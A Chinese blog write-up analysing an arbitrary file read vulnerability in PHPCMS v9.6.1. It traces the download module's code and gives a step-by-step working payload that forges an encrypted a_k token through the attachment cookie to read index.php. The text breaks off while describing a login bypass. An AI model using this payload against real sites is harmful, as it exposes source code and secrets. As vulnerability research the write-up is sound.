<h2>
<a href="http://m.miracleart.cn/cms/phpcms/" target="_blank">PHPCMS使用教程</a>介紹PHPCMSv9.6.1任意文件讀取漏洞的挖掘<br>
</h2>
<p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/000/052/5fd8807224734604.jpg" class="lazy" alt="Expliquer le processus d'exploration et d'analyse des vulnérabilités de lecture de fichiers arbitraires dans PHPCMSv9.6.1" ></p>
<p>推薦(免費(fèi)):<a href="http://m.miracleart.cn/cms/phpcms/" target="_blank">PHPCMS使用教程</a></p>
<p>看到網(wǎng)上說(shuō)出了這么一個(gè)漏洞,所以抽空分析了下,得出本篇分析。</p>
<h2 id="準(zhǔn)備工作-amp-漏洞關(guān)鍵點(diǎn)快速掃描">1.準(zhǔn)備工作&漏洞關(guān)鍵點(diǎn)快速掃描</h2>
<h3 id="前置知識(shí)">1.1前置知識(shí)</h3>
<p>這里把本次分析中需要掌握的知識(shí)梳理了下:</p>
<ol>
<li><p>php原生parse_str方法,會(huì)自動(dòng)進(jìn)行一次urldecode,第二個(gè)參數(shù)為空,則執(zhí)行類似extract操作。</p></li>
<li><p>原生empty方法,對(duì)字符串""返回true。</p></li>
<li><p>phpcms中sys_auth是對(duì)稱加密且在不知道auth_key的情況下理論上不可能構(gòu)造出有效密文。</p></li>
</ol>
<h3 id="快速掃描">1.2 快速掃描</h3>
<p>先diff下v9.6.0和v9.6.1,發(fā)現(xiàn)phpcms/modules/content/down.php中有如下修改:</p>
<pre class="brush:php;toolbar:false">---?a/phpcms/modules/content/down.php
+++?b/phpcms/modules/content/down.php
@@?-14,12?+14,16?@@?class?down?{
????????????????$a_k?=?sys_auth($a_k,?'DECODE',?pc_base::load_config('system','auth_key'));
????????????????if(empty($a_k))?showmessage(L('illegal_parameters'));
????????????????unset($i,$m,$f);
+???????????????$a_k?=?safe_replace($a_k);^M
????????????????parse_str($a_k);
????????????????if(isset($i))?$i?=?$id?=?intval($i);
????????????????if(!isset($m))?showmessage(L('illegal_parameters'));
????????????????if(!isset($modelid)||!isset($catid))?showmessage(L('illegal_parameters'));
????????????????if(empty($f))?showmessage(L('url_invalid'));
????????????????$allow_visitor?=?1;
+???????????????$id?=?intval($id);^M
+???????????????$modelid??=?intval($modelid);^M
+???????????????$catid??=?intval($catid);^M
????????????????$MODEL?=?getcache('model','commons');
????????????????$tablename?=?$this->db->table_name?=?$this->db->db_tablepre.$MODEL[$modelid]['tablename'];
????????????????$this->db->table_name?=?$tablename.'_data';
@@?-86,6?+90,7?@@?class?down?{
????????????????$a_k?=?sys_auth($a_k,?'DECODE',?$pc_auth_key);
????????????????if(empty($a_k))?showmessage(L('illegal_parameters'));
????????????????unset($i,$m,$f,$t,$ip);
+???????????????$a_k?=?safe_replace($a_k);^M
????????????????parse_str($a_k);????????????????
????????????????if(isset($i))?$downid?=?intval($i);
????????????????if(!isset($m))?showmessage(L('illegal_parameters'));
@@?-118,6?+123,7?@@?class?down?{
????????????????????????????????}
????????????????????????????????$ext?=?fileext($filename);
????????????????????????????????$filename?=?date('Ymd_his').random(3).'.'.$ext;
+???????????????????????????????$fileurl?=?str_replace(array('<','>'),?'',$fileurl);^M
????????????????????????????????file_down($fileurl,?$filename);
????????????????????????}
????????????????}</pre>
<p>主要修改了兩個(gè)方法<code>init()</code>和<code>download()</code>,大膽的猜想估計(jì)是這兩個(gè)函數(shù)出問(wèn)題了。</p>
<pre class="brush:php;toolbar:false">public?function?init()?{
????????$a_k?=?trim($_GET['a_k']);
????????if(!isset($a_k))?showmessage(L('illegal_parameters'));
????????$a_k?=?sys_auth($a_k,?'DECODE',?pc_base::load_config('system','auth_key'));//關(guān)鍵點(diǎn)1
????????if(empty($a_k))?showmessage(L('illegal_parameters'));
????????unset($i,$m,$f);
????????$a_k?=?safe_replace($a_k);//關(guān)鍵點(diǎn)2
????????parse_str($a_k);//關(guān)鍵點(diǎn)3
????????if(isset($i))?$i?=?$id?=?intval($i);
????????if(!isset($m))?showmessage(L('illegal_parameters'));
????????if(!isset($modelid)||!isset($catid))?showmessage(L('illegal_parameters'));
????????if(empty($f))?showmessage(L('url_invalid'));
????????$allow_visitor?=?1;
????????$id?=?intval($id);
????????$modelid??=?intval($modelid);
????????$catid??=?intval($catid);
??......
????if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f)?||?strpos($f,?":\\")!==FALSE?||?strpos($f,'..')!==FALSE)?showmessage(L('url_error'));//關(guān)鍵點(diǎn)4
????????if(strpos($f,?'http://')?!==?FALSE?||?strpos($f,?'ftp://')?!==?FALSE?||?strpos($f,?'://')?===?FALSE)?{
????????????$pc_auth_key?=?md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
????????????$a_k?=?urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid,?'ENCODE',?$pc_auth_key));//關(guān)鍵點(diǎn)5
????????????$downurl?=?'?m=content&c=down&a=download&a_k='.$a_k;
????????}?else?{
????????????$downurl?=?$f;????????????
????????}
}</pre>
<pre class="brush:php;toolbar:false">????public?function?download()?{
????????$a_k?=?trim($_GET['a_k']);
????????$pc_auth_key?=?md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');//關(guān)鍵點(diǎn)6
????????$a_k?=?sys_auth($a_k,?'DECODE',?$pc_auth_key);
????????if(empty($a_k))?showmessage(L('illegal_parameters'));
????????unset($i,$m,$f,$t,$ip);
????????$a_k?=?safe_replace($a_k);//關(guān)鍵點(diǎn)7
????????parse_str($a_k);//關(guān)鍵點(diǎn)8
????????if(isset($i))?$downid?=?intval($i);
????????if(!isset($m))?showmessage(L('illegal_parameters'));
????????if(!isset($modelid))?showmessage(L('illegal_parameters'));
????????if(empty($f))?showmessage(L('url_invalid'));
????????if(!$i?||?$m<0) showmessage(L('illegal_parameters'));
if(!isset($t)) showmessage(L('illegal_parameters'));
if(!isset($ip)) showmessage(L('illegal_parameters'));
$starttime = intval($t);
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));//關(guān)鍵點(diǎn)9
$fileurl = trim($f);
if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));
$endtime = SYS_TIME - $starttime;
if($endtime >?3600)?showmessage(L('url_invalid'));
????????if($m)?$fileurl?=?trim($s).trim($fileurl);//關(guān)鍵點(diǎn)10
????????if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl)?)?showmessage(L('url_error'));//關(guān)鍵點(diǎn)11
????????//遠(yuǎn)程文件
????????if(strpos($fileurl,?':/')?&&?(strpos($fileurl,?pc_base::load_config('system','upload_url'))?===?false))?{?//關(guān)鍵點(diǎn)12
????????????header("Location:?$fileurl");
????????}?else?{
????????????if($d?==?0)?{
????????????????header("Location:?".$fileurl);//關(guān)鍵點(diǎn)13
????????????}?else?{
????????????????$fileurl?=?str_replace(array(pc_base::load_config('system','upload_url'),'/'),?array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR),?$fileurl);
????????????????$filename?=?basename($fileurl);//關(guān)鍵點(diǎn)14
????????????????//處理中文文件
????????????????if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/",?$fileurl))?{
????????????????????$filename?=?str_replace(array("%5C",?"%2F",?"%3A"),?array("\\",?"/",?":"),?urlencode($fileurl));
????????????????????$filename?=?urldecode(basename($filename));//關(guān)鍵點(diǎn)15
????????????????}
????????????????$ext?=?fileext($filename);//關(guān)鍵點(diǎn)16
????????????????$filename?=?date('Ymd_his').random(3).'.'.$ext;
????????????????$fileurl?=?str_replace(array('<','>'),?'',$fileurl);//關(guān)鍵點(diǎn)17
????????????????file_down($fileurl,?$filename);//關(guān)鍵點(diǎn)18
????????????}
????????}
????}</pre>
<p>safe_replace函數(shù)如下</p>
<pre class="brush:php;toolbar:false">function?safe_replace($string)?{
????$string?=?str_replace('%20','',$string);
????$string?=?str_replace('%27','',$string);
????$string?=?str_replace('%2527','',$string);
????$string?=?str_replace('*','',$string);
????$string?=?str_replace('"','"',$string);
????$string?=?str_replace("'",'',$string);
????$string?=?str_replace('"','',$string);
????$string?=?str_replace(';','',$string);
????$string?=?str_replace('<','<',$string);
$string = str_replace('>','>',$string);
????$string?=?str_replace("{",'',$string);
????$string?=?str_replace('}','',$string);
????$string?=?str_replace('\\','',$string);
????return?$string;
}</pre>
<h4 id="content-down模塊大致流程分析">1.2 content/down模塊大致流程分析</h4>
<ol><li><p>init方法中根據(jù)原始的$a_k(包含了file_down的文件的基本信息),進(jìn)行一次驗(yàn)證,并且生成,調(diào)用</p></li></ol>
<p>download方法的url,url的schema為<code>$downurl='?m=content&c=down&a=download&a_k='.$a_k</code>(必須符合一定條件。)</p>
<ol><li><p>download方法接收到$a_k,進(jìn)行解碼,解出文件信息,調(diào)用<code>file_down($fileurl, $filename)</code>( 必須符合一定條件)</p></li></ol>
<p>我們來(lái)看下file_down函數(shù),第一個(gè)參數(shù)$filepath,才是實(shí)際控制readfile的文件名的變量,readfile可以讀取本地文件,所以我們構(gòu)造符合條件的$fileurl繞過(guò)上述的限制就可以完成本地文件的讀取功能!</p>
<pre class="brush:php;toolbar:false">function?file_down($filepath,?$filename?=?'')?{
????if(!$filename)?$filename?=?basename($filepath);
????if(is_ie())?$filename?=?rawurlencode($filename);
????$filetype?=?fileext($filename);
????$filesize?=?sprintf("%u",?filesize($filepath));
????if(ob_get_length()?!==?false)?@ob_end_clean();
????header('Pragma:?public');
????header('Last-Modified:?'.gmdate('D,?d?M?Y?H:i:s')?.?'?GMT');
????header('Cache-Control:?no-store,?no-cache,?must-revalidate');
????header('Cache-Control:?pre-check=0,?post-check=0,?max-age=0');
????header('Content-Transfer-Encoding:?binary');
????header('Content-Encoding:?none');
????header('Content-type:?'.$filetype);
????header('Content-Disposition:?attachment;?filename="'.$filename.'"');
????header('Content-length:?'.$filesize);
????readfile($filepath);
????exit;
}</pre>
<h4 id="fileurl變量構(gòu)造分析">1.2.1$fileurl變量構(gòu)造分析</h4>
<p>如果我們要讀取站點(diǎn)的.php結(jié)尾文件,由于有關(guān)鍵點(diǎn)11存在,$fileurl中不能出現(xiàn)php,不過(guò)從關(guān)鍵點(diǎn)17可以看到進(jìn)行了替換</p>
<pre class="brush:php;toolbar:false">$fileurl?=?str_replace(array('<','>'),?'',$fileurl);//關(guān)鍵點(diǎn)17</pre>
<p>那么可以想到我們構(gòu)造出符合<code>.ph([<>]+)p</code>的文件后綴,最后會(huì)被替換成.php。而且這句話是9.6.1新增的,更加確定了,這個(gè)漏洞是9.6.1特有的。</p>
<p>再向上上看</p>
<pre class="brush:php;toolbar:false">if($m)?$fileurl?=?trim($s).trim($fileurl);//關(guān)鍵點(diǎn)10</pre>
<p>變量$m為真,那么我們可以通過(guò)引入變量$s來(lái)構(gòu)造$fileurl,且$fileurl由變量$f控制。</p>
<pre class="brush:php;toolbar:false">$fileurl?=?trim($f);</pre>
<pre class="brush:php;toolbar:false">$a_k?=?safe_replace($a_k);//關(guān)鍵點(diǎn)7
parse_str($a_k);//關(guān)鍵點(diǎn)8</pre>
<p>通過(guò)parse_str來(lái)extract變量,很容易的得出控制$i,$m,$f,$t,$s,$d,$modelid變量,看到這里我們可以構(gòu)造$a_k來(lái)控制這些變量。</p>
<h4 id="a-k變量分析">1.2.2$a_k變量分析</h4>
<p>再向上看</p>
<pre class="brush:php;toolbar:false">$pc_auth_key?=?md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');//關(guān)鍵點(diǎn)6
????????$a_k?=?sys_auth($a_k,?'DECODE',?$pc_auth_key);</pre>
<p>這個(gè)關(guān)鍵點(diǎn)6很重要,因?yàn)檫@里的$pc_auth_key幾乎是不可能暴力出來(lái)的,然而得到這個(gè)加密的$a_k只有在init()方法中使用了相同的$pc_auth_key。所以我們只能通過(guò)init()方法來(lái)構(gòu)造$a_k。</p>
<p>我們現(xiàn)在來(lái)看下init方法</p>
<pre class="brush:php;toolbar:false">????????$a_k?=?trim($_GET['a_k']);
????????if(!isset($a_k))?showmessage(L('illegal_parameters'));
????????$a_k?=?sys_auth($a_k,?'DECODE',?pc_base::load_config('system','auth_key'));//關(guān)鍵點(diǎn)1</pre>
<p>這里可以發(fā)現(xiàn)sys_auth的auth竟然是使用系統(tǒng)默認(rèn)的auth_key,直覺告訴我可能問(wèn)題出在這里了,除了這個(gè)區(qū)別,init方法別的邏輯就不再贅述。</p>
<h4 id="小結(jié)">1.2.3小結(jié)</h4>
<p>總結(jié)一下:</p>
<p>index.php?m=content&c=down&a=init&a_k=想辦法構(gòu)造出符合條件的。</p>
<p>然后init方法會(huì)構(gòu)造出符合download方法中能夠解密的$a_k。</p>
<p>通過(guò)對(duì)$a_k進(jìn)行控制,間接控制$i,$f,$m,$s,$d等變量完成漏洞的利用。</p>
<h2 id="漏洞挖掘過(guò)程">2.漏洞挖掘過(guò)程</h2>
<h3 id="init方法所接受的-a-k構(gòu)造">2.1 init方法所接受的$a_k構(gòu)造</h3>
<h4 id="探索正常流程中的-a-k構(gòu)造過(guò)程">2.1.1探索正常流程中的$a_k構(gòu)造過(guò)程</h4>
<p>對(duì)源碼進(jìn)行快速掃描,看看哪些地方能夠生產(chǎn)對(duì)init方法的調(diào)用,其實(shí)就是常規(guī)的下載模型的邏輯。</p>
<p>phpcms/modules/content/fields/downfile和phpcms/modules/content/fields/downfiles中會(huì)生成init方法的$a_k</p>
<pre class="brush:php;toolbar:false">????function?downfile($field,?$value)?{
????????extract(string2array($this->fields[$field]['setting']));
????????$list_str?=?array();
????????if($value){
????????????$value_arr?=?explode('|',$value);
????????????$fileurl?=?$value_arr['0'];
????????????if($fileurl)?{
????????????????$sel_server?=?$value_arr['1']???explode(',',$value_arr['1'])?:?'';
????????????????$server_list?=?getcache('downservers','commons');
????????????????if(is_array($server_list))?{
????????????????????foreach($server_list?as?$_k=>$_v)?{
????????????????????????if($value?&&?is_array($sel_server)?&&?in_array($_k,$sel_server))?{
????????????????????????????$downloadurl?=?$_v[siteurl].$fileurl;
????????????????????????????if($downloadlink)?{
????????????????????????????????$a_k?=?urlencode(sys_auth("i=$this->id&s=$_v[siteurl]&m=1&f=$fileurl&d=$downloadtype&modelid=$this->modelid&catid=$this->catid",?'ENCODE',?pc_base::load_config('system','auth_key')));
????????????????????????????????$list_str[]?=?"<a href='".APP_PATH."index.php?m=content&c=down&a_k={$a_k}' target='_blank'>{$_v[sitename]}</a>";
????????????????????????????}?else?{
????????????????????????????????$list_str[]?=?"<a href='{$downloadurl}' target='_blank'>{$_v[sitename]}</a>";
????????????????????????????}
????????????????????????}
????????????????????}
????????????????}????
????????????????return?$list_str;
????????????}
????????}?
????}</pre>
<p>但是分析發(fā)現(xiàn),content_input和content_output邏輯中權(quán)限驗(yàn)證和限制邏輯比較完善,基本不存在利用可能。</p>
<h4 id="黑科技構(gòu)造-a-k">2.1.2 黑科技構(gòu)造$a_k</h4>
<p>由于是sys_auth是對(duì)稱加密,那么能不能找個(gè)使用相同密鑰生成的地方來(lái)生成,對(duì)sys_auth進(jìn)行全文搜索,我們找找有沒(méi)有符合下列條件的上下文</p>
<ol>
<li><p>方式是ENCODE</p></li>
<li><p>Auth_key是系統(tǒng)默認(rèn)的即:pc_base::load_config('system','auth_key')</p></li>
<li><p>且待加密內(nèi)容是可控的(可以是我們$_REQUEST的數(shù)據(jù),或者可以構(gòu)造的)</p></li>
<li><p>加密后的數(shù)據(jù)有回顯的。</p></li>
</ol>
<p>共找到58個(gè)匹配項(xiàng),但是沒(méi)有符合上下文的,不過(guò)我們可以注意到</p>
<pre class="brush:php;toolbar:false">public?static?function?set_cookie($var,?$value?=?'',?$time?=?0)?{
????????$time?=?$time?>?0???$time?:?($value?==?''???SYS_TIME?-?3600?:?0);
????????$s?=?$_SERVER['SERVER_PORT']?==?'443'???1?:?0;
????????$var?=?pc_base::load_config('system','cookie_pre').$var;
????????$_COOKIE[$var]?=?$value;
????????if?(is_array($value))?{
????????????foreach($value?as?$k=>$v)?{
????????????????setcookie($var.'['.$k.']',?sys_auth($v,?'ENCODE'),?$time,?pc_base::load_config('system','cookie_path'),?pc_base::load_config('system','cookie_domain'),?$s);
????????????}
????????}?else?{
????????????setcookie($var,?sys_auth($value,?'ENCODE'),?$time,?pc_base::load_config('system','cookie_path'),?pc_base::load_config('system','cookie_domain'),?$s);
????????}
????}
????public?static?function?get_cookie($var,?$default?=?'')?{
????????$var?=?pc_base::load_config('system','cookie_pre').$var;
????????return?isset($_COOKIE[$var])???sys_auth($_COOKIE[$var],?'DECODE')?:?$default;
????}</pre>
<p>param::set_cookie param::get_cookie 對(duì)cookie加密是使用默認(rèn)的auth_key的。</p>
<p>馬上對(duì)set_cookie進(jìn)行全文搜索,并且查找符合下列條件的上下文。</p>
<ol>
<li><p>set_cookie的內(nèi)容是可控的。</p></li>
<li><p>set_cookie的觸發(fā)條件盡可能的限制小。</p></li>
</ol>
<p>一共找到122個(gè)匹配項(xiàng),找到了兩個(gè)比較好的觸發(fā)點(diǎn)。</p>
<p>phpcms/moduels/attachment/attachments.php中的swfupload_json/swfupload_del方法和phpcms/modules/video/video.php中的swfupload_json/del方法</p>
<p>video模塊需要管理員權(quán)限,就不考慮了,attachment模塊只要是注冊(cè)用戶即可調(diào)用。</p>
<p>我們來(lái)看下swfupload_json</p>
<pre class="brush:php;toolbar:false">????public?function?swfupload_json()?{
????????$arr['aid']?=?intval($_GET['aid']);
????????$arr['src']?=?safe_replace(trim($_GET['src']));
????????$arr['filename']?=?urlencode(safe_replace($_GET['filename']));
????????$json_str?=?json_encode($arr);
????????$att_arr_exist?=?param::get_cookie('att_json');
????????$att_arr_exist_tmp?=?explode('||',?$att_arr_exist);
????????if(is_array($att_arr_exist_tmp)?&&?in_array($json_str,?$att_arr_exist_tmp))?{
????????????return?true;
????????}?else?{
????????????$json_str?=?$att_arr_exist???$att_arr_exist.'||'.$json_str?:?$json_str;
????????????param::set_cookie('att_json',$json_str);
????????????return?true;????????????
????????}
????}</pre>
<p>我們可以通過(guò)src和filename來(lái)構(gòu)造,最終我選的是src,最終形式會(huì)是一個(gè)json串,當(dāng)然有多個(gè)會(huì)以"||"分割。</p>
<p>我們注冊(cè)個(gè)用戶登錄之后,調(diào)用</p>
<pre class="brush:php;toolbar:false">index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=fobnn</pre>
<p>產(chǎn)生的數(shù)據(jù)會(huì)是</p>
<pre class="brush:php;toolbar:false">{"aid":888,"src":"fobnn","filename":""}</pre>
<p>然后我們得到response.header中的set-cookie ["att_json"]。</p>
<pre class="brush:php;toolbar:false">1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz</pre>
<p>我們修改下down.php->init方法,把DECODE之后的$a_k輸出來(lái)。</p>
<p>然后我們調(diào)用</p>
<pre class="brush:php;toolbar:false">index.php?m=content&c=down&a=init
&a_k=1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz</pre>
<p>激動(dòng)人心,init方法成功DECODE了$a_k</p>
<p>好了目前驗(yàn)證了我們的想法可行,接下來(lái)應(yīng)該構(gòu)造可用的payload了。</p>
<h3 id="json和parse-str">2.2 json和parse_str</h3>
<p>目前要解決的就是 從json中parse_str并且能夠解析出$i,$m,$f等變量。</p>
<pre class="brush:php;toolbar:false">{"aid":888,"src":"fobnn=q&p1=12312","filename":""}</pre>
<p>解析{"aid":888,"src":"fobnn=q 和p1=12312","filename":""}</p>
<p>說(shuō)明parse_str還是解析還是可以實(shí)現(xiàn)的,前后閉合一下,中間填充我們需要的變量即可,例如</p>
<pre class="brush:php;toolbar:false">{"aid":888,"src":"pad=x&fobnn=q&p1=12312&pade=","filename":""}</pre>
<p>那么fobnn和p1就是正常解析的,src需要URLENCODE提交,這樣不會(huì)導(dǎo)致php解析錯(cuò)誤。</p>
<h3 id="構(gòu)造符合init方法的-a-k">2.3 構(gòu)造符合init方法的$a_k</h3>
<p>我們先構(gòu)造一個(gè)符合init方法的$a_k使得能完成正常的流程。</p>
<pre class="brush:php;toolbar:false">????????if(isset($i))?$i?=?$id?=?intval($i);
????????if(!isset($m))?showmessage(L('illegal_parameters'));
????????if(!isset($modelid)||!isset($catid))?showmessage(L('illegal_parameters'));
????????if(empty($f))?showmessage(L('url_invalid'));
????????$allow_visitor?=?1;
????????$id?=?intval($id);
????????$modelid??=?intval($modelid);
????????$catid??=?intval($catid);</pre>
<p>構(gòu)造pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=用來(lái)滿足條件。</p>
<pre class="brush:php;toolbar:false">index.php?m=attachment&c=attachments&a=swfupload_json&aid=1
?src=pad%3dx%26i%3d1%26modelid%3d1%26m%3d1%26catid%3d1%26f%3dfobnn%26pade%3d</pre>
<p>得到</p>
<pre class="brush:php;toolbar:false">3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ
{"aid":1,"src":"pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=","filename":""}</pre>
<p>然后提交</p>
<pre class="brush:php;toolbar:false">index.php?m=content&c=down&a=init
&a_k=3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ</pre>
<p>成功!頁(yè)面已經(jīng)生成了調(diào)用download方法的url</p>
<pre class="brush:php;toolbar:false"></head>
<body>
????<style type="text/css">
?????????body,?html{?background:#FFF!important;}
????</style>
????????<a href="?m=content&c=down&a=download&a_k=a602eCW5tkuTZTtvLeYrcU0kSTKdCLFcNAQ06GE74c9zc6NMUaHAss9zwCa-glxRmBtylSbtrxMNTxy5knsFrZIeC_iCRmj3pTSuQxTHxps3qs4U6pKLIz4y3A" class="xzs_btn"></a>
????</body>
</html></pre>
<h3 id="繞過(guò)限制構(gòu)造最終payload">2.4繞過(guò)限制構(gòu)造最終payload</h3>
<p>目前正常流程已經(jīng)走通,把目光集中在如何構(gòu)造出符合的$fileurl,來(lái)看下init方法中</p>
<pre class="brush:php;toolbar:false">if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f)?||?strpos($f,?":\\")!==FALSE?||?strpos($f,'..')!==FALSE)?showmessage(L('url_error'));
if(strpos($f,?'http://')?!==?FALSE?||?strpos($f,?'ftp://')?!==?FALSE?||?strpos($f,?'://')?===?FALSE)?{
????$pc_auth_key?=?md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
????$a_k?=?urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid,?'ENCODE',?$pc_auth_key));
????$downurl?=?'?m=content&c=down&a=download&a_k='.$a_k;
????}?else?{
????????$downurl?=?$f;????????????
????}</pre>
<p>對(duì)f的限制還是蠻多的,包括常規(guī)黑名單檢測(cè)php,asp等。也不能出現(xiàn)"..",":\"</p>
<p>還好我們看到download函數(shù)中</p>
<pre class="brush:php;toolbar:false">if($m)?$fileurl?=?trim($s).trim($fileurl);//關(guān)鍵點(diǎn)10</pre>
<p>我們可以通過(guò)控制$m就可以通過(guò)$s來(lái)構(gòu)造了,而$m和$s參與了$a_k的構(gòu)造。</p>
<p>在init方法中我們可以構(gòu)造 m=1&s=.php&f=index 類似的來(lái)繞過(guò)init方法的檢測(cè),我們把目光聚焦到download方法。</p>
<pre class="brush:php;toolbar:false">//常規(guī)檢測(cè)代碼就不貼了,$i,$t,$m,$modelid,$t,$ip的檢測(cè)。
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f)?||?strpos($f,?":\\")!==FALSE?||?strpos($f,'..')!==FALSE)?showmessage(L('url_error'));
????$fileurl?=?trim($f);</pre>
<p>通過(guò)這樣的構(gòu)造上面這個(gè)檢測(cè)肯定可以繞過(guò),但發(fā)現(xiàn)下面檢測(cè)就會(huì)出問(wèn)題,最后$fileurl還是會(huì)變成index.php</p>
<pre class="brush:php;toolbar:false">if($m)?$fileurl?=?trim($s).trim($fileurl);
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl)?)?showmessage(L('url_error'));
????????//遠(yuǎn)程文件</pre>
<p>好在快速掃描中看到的</p>
<pre class="brush:php;toolbar:false">$fileurl?=?str_replace(array('<','>'),?'',$fileurl);//關(guān)鍵點(diǎn)17</pre>
<p>另外又看到</p>
<pre class="brush:php;toolbar:false">if($d?==?0)?{
????header("Location:?".$fileurl);</pre>
<h4 id="urlencode編碼-lt-gt">2.4.1 urlencode編碼“<>”</h4>
<p>那么構(gòu)造出 d=1&m=1&f=.p<hp&s=index 這樣的payload就可以繞過(guò)檢測(cè),實(shí)現(xiàn)漏洞利用,當(dāng)然期間涉及一些編碼轉(zhuǎn)換就不再贅述了。</p><p>最終pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p<hp&s=index&pade=</p><p>由于safe_replce的存在所以<code><</code>會(huì)被過(guò)濾掉,前置知識(shí)中我已經(jīng)說(shuō)到parse_str會(huì)自動(dòng)encode一次。</p><p>所以可以構(gòu)造</p><p>d=1&m=1&f=.p%3chp&s=index</p><p>我們發(fā)現(xiàn)在init方法中會(huì)safe_replace一次,和parse_str一次。</p><p>那么最終編碼到download $a_k中的數(shù)據(jù)實(shí)際還是<,而download方法中也會(huì)safe_replace和parse_str一次。</p><p>所以我們要確保在init方法編碼的時(shí)候是%3c即可,對(duì)%3c進(jìn)行一次urlencode,構(gòu)造</p><p>d=1&m=1&f=.p%253chp&s=index</p><p>當(dāng)然要讀取別的目錄的,那同樣對(duì)目錄路徑進(jìn)行編碼。</p><h3 id="最終payload">2.4.2最終payload</h3><p>以讀取首頁(yè)index.php為例</p><pre class="brush:php;toolbar:false">pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p%253chp&s=index&pade=
index.php?m=attachment&c=attachments&a=swfupload_json&aid=1
&src=pad%3dx%26i%3d1%26modelid%3d1%26catid%3d1%26d%3d1%26m%3d1%26f%3d.p%25253chp%26s%3dindex%26pade%3d</pre><pre class="brush:php;toolbar:false">8862Fewa0VoDAmDaEWXtUnQ817naJmAG9DYlUPmB8QpBl8Fi91_XvW8ngzKBGBJkxn8Ms-sHcBkGNtosnd_ZjshNlyQvOrC2ZFMSPubno6rDiuALAVAcchHVRGTtNRYMAiwMTIJ4OVMmgPwjbu1I0FLmurCLMFAWeyQ
{"aid":1,"src":"pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p%253chp&s=index&pade=","filename":""}</pre><pre class="brush:php;toolbar:false">index.php?m=content&c=down&a=init&a_k=8862Fewa0VoDAmDaEWXtUnQ817naJmAG9DYlUPmB8QpBl8Fi91_XvW8ngzKBGBJkxn8Ms-sHcBkGNtosnd_ZjshNlyQvOrC2ZFMSPubno6rDiuALAVAcchHVRGTtNRYMAiwMTIJ4OVMmgPwjbu1I0FLmurCLMFAWeyQ</pre><pre class="brush:php;toolbar:false">index.php?m=content&c=down&a=download&a_k=e5586zx1k-uH8PRhk2ZfPApV5cxalMnAJy46MpO8iy7DgyxWqwZHqFVpQJTxDmmUJxrF0gx_WRIv-iSKq2Z8YEWc-LRXIrr9EgT-pAEJtGGBUcVCOoI3WlMdxajPdFuIqpsY</pre><p>最終提示下載文件,文件下載成功,打開來(lái)看確實(shí)是index.php內(nèi)容。</p><h3 id="繞過(guò)attachment模塊權(quán)限限制完成無(wú)限制利用">2.5繞過(guò)attachment模塊權(quán)限限制完成無(wú)限制利用</h3><pre class="brush:php;toolbar:false">class attachments {
private $att_db;
function __construct() {
pc_base::load_app_func('global');
$this->upload_url?=?pc_base::load_config('system','upload_url');
????????$this->upload_path?=?pc_base::load_config('system','upload_path');????????
????????$this->imgext?=?array('jpg','gif','png','bmp','jpeg');
????????$this->userid?=?$_SESSION['userid']???$_SESSION['userid']?:?(param::get_cookie('_userid')???param::get_cookie('_userid')?:?sys_auth($_POST['userid_flash'],'DECODE'));
????????$this->isadmin?=?$this->admin_username?=?$_SESSION['roleid']???1?:?0;
????????$this->groupid?=?param::get_cookie('_groupid')???param::get_cookie('_groupid')?:?8;
????????//判斷是否登錄
????????if(empty($this->userid)){
????????????showmessage(L('please_login','','member'));
????????}
????}</p>
<p>可以發(fā)現(xiàn)</p>
<pre class="brush:php;toolbar:false">sys_auth($_POST['userid_flash'],'DECODE')</pre>
